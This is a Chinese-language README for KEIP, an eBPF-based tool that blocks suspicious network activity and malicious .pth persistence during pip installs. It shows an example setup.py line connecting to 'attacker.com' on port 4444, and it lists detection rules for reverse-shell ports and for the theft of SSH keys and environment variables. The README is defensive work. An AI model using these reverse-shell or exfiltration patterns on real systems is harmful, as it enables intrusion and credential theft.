Otsmane-Ahmed/KEIP

# KEIP - 内核级安装时策略强制执行 ## 什么是 KEIP？  KEIP 位于 `pip install` 和您的内核之间。它会监视包在安装期间建立的每一个网络连接，并终止任何看起来可疑的行为。不依赖特征库，不需要数据库，只看行为。 如果一个包试图通过奇怪的端口回连，或者与十几个不同的服务器通信，KEIP 会在它造成任何损害之前将其关闭。 ### 为什么这很重要？ 当您运行 `pip install some-package` 时，该包可以通过其 `setup.py` 运行任意代码。这就是攻击者窃取凭据、开启后门和渗漏数据的方式。这种情况发生的频率比您想象的要高。 我们现有的工具并不能真正解决这个问题： - 静态扫描器会漏掉混淆代码（大约一半的恶意包使用混淆） - 沙箱每次安装会增加 2-5 秒，这会严重拖慢 CI/CD 性能 - 运行时监控仅在安装完成后才启动，这太晚了 - 特征库对新攻击毫无用处 KEIP 采用了一种不同的方法。它利用 eBPF 接入内核，并在安装过程中实时强制执行安全策略，其防护级别无法从用户空间绕过。 ## 功能特性 | 功能 | 描述 | |---------|-------------| | 内核级强制执行 | eBPF LSM 钩子从源头阻断威胁，无法被绕过 | | 安装时保护 | 针对安装阶段，这是 56% 的供应链攻击发生的时刻 | | 行为检测 | 监视包的行为，而不是它的外观 | | `.pth` 文件检测 | 捕获植入 `site-packages` 中的恶意持久化文件 | | 无需 sudo | 使用 Linux capabilities (`CAP_BPF`) 而非完整的 root 权限 | | CI/CD 就绪 | 开销低于 50ms，不会拖慢您的流水线 | | 低误报率 | 合法包（PyPI CDN, GitHub）可以正常通过 | | 实时监控 | 实时查看包建立的每一个连接 | | 进程终止 | 杀死整个进程组，而不仅仅是一个连接 | ## 工作原理 KEIP 使用三条规则来判断一个包的行为是否正常。 ### 架构流程 ``` graph TB A[Developer: pip install malicious-pkg] --> B[Python spawns child process] B --> C[setup.py executes] C --> D[Tries socket.connect on port 4444] D --> E{KEIP eBPF Hook
socket_connect} E -->|Port 4444?| F[BLOCKED] E -->|Port 443?| G[ALLOWED] F --> H[Kill Process Group] G --> I[Installation continues] style F fill:#ff6b6b style G fill:#51cf66 style E fill:#4dabf7 ``` ### 规则 1：端口陷阱 合法的包只需要端口 80、443 和 53（HTTP, HTTPS, DNS）。如果一个包试图连接端口 22 (SSH)、4444（常见的反向 shell）、6379 (Redis) 或任何其他不寻常的端口，那就是一个危险信号。 ``` pip install malicious-package setup.py tries socket.connect("attacker.com", 4444) KEIP intercepts at kernel level Process killed, installation stopped ``` ### 规则 2：连接计数器 一个正常的包在安装过程中可能与 2-4 个服务器通信（PyPI CDN，也许还有 GitHub）。恶意软件往往会进行扫描或尝试多个 C2 服务器。KEIP 会阻止任何联系超过 5 个唯一 IP 的包。 ### 规则 3：数据渗漏检测（即将推出） 正常的包下载量大，上传量很小。恶意软件则相反——它会读取您的 SSH 密钥和环境变量并将它们发送到某处。KEIP 将标记任何上传/下载比率异常的安装。 ## 最新动态 ### 无需 sudo 运行 KEIP 在系统级安装后不再需要 `sudo` 来运行。 这对于 **CI/CD 流水线** 和开发者工作流程来说是一个关键的改进。要求 root 权限使得 KEIP 难以在 GitHub Actions、GitLab CI 和 Jenkins 等自动化环境中部署，因为在这些环境中，授予构建步骤 `sudo` 权限要么是不可能的，要么是一个严重的安全隐患。开发者也不愿在本地使用 KEIP，因为以完整的 root 权限运行安全工具让人感觉不安全。通过移除 `sudo` 要求，KEIP 现在可以零阻力地嵌入任何流水线或开发者机器中。 为了避免向系统的 `python3` 二进制文件授予全局 eBPF 权限（这将是一个巨大的安全漏洞，任何 python 脚本都可以加载内核钩子），我们引入了专用的 python 二进制策略： 1. `setup.sh`：添加了 `libcap2-bin` 以安装 `setcap` 工具。 2. `install.sh`：在 `/opt/keip/keip-python` 创建一个隔离的 Python 副本，并为其分配 `cap_bpf,cap_sys_admin,cap_perfmon,cap_dac_read_search=ep` 权限。 3. `install.sh`：全局包装器 `/usr/local/bin/keip` 现在显式使用此专用二进制文件。 4. `run_keip.sh`：已编辑为如果未以 root 身份运行，则检查 python 二进制文件上的 `cap_bpf`。 5. `src/keip_pip_monitor.py`：移除了硬编码的 `os.geteuid() != 0` 检查。如果缺少 capabilities，BCC 模块会自行优雅地失败。 这意味着系统的 Python 保持原样，只有 KEIP 专用的二进制文件获得 eBPF 权限。 ### `.pth` 文件植入检测（安装后审计） KEIP 以前对 `.pth` 文件植入是盲目的，这是一种持久化技术，恶意包静默地将文件放入 `site-packages` 中，每次 Python 启动时都会执行该文件。 **问题所在：** 这个 `.pth` 修复适用于使用全局环境（不使用 venv）的用户，以及在多个项目间重用 venv 的用户。恶意包可以在 `site-packages` 文件夹（无论是全局环境还是 venv 环境）中放置一个 `.pth` 文件，每当您运行 python 执行代码时，python 都会检查 `site-packages` 并执行其中的任何 `.pth` 文件，无论它是否与您的 python 代码相关（即使它与您的脚本导入无关）。由于它不是 pip install 的子进程，KEIP 不会拦截恶意调用。 **我们如何修复它：** 1. `src/pth_audit.py`：创建了一个新模块，该模块在 `pip install` 之前和之后对每个 `site-packages` 目录（全局 + venv）中的所有 `.pth` 文件进行快照。它比较快照，如果发现任何包含可执行代码（`import ...` 行）的新 `.pth` 文件，会向用户发出警报。它还包括已知安全 `.pth` 文件的白名单（例如 setuptools 的 `distutils-precedence.pth`）以避免误报。 2. `keip install `：使用 `.pth` 审计（前后快照）包装 pip install。 3. `keip scan`：独立扫描器，可随时检查所有现有 `.pth` 文件中的可执行代码。 4. `keip python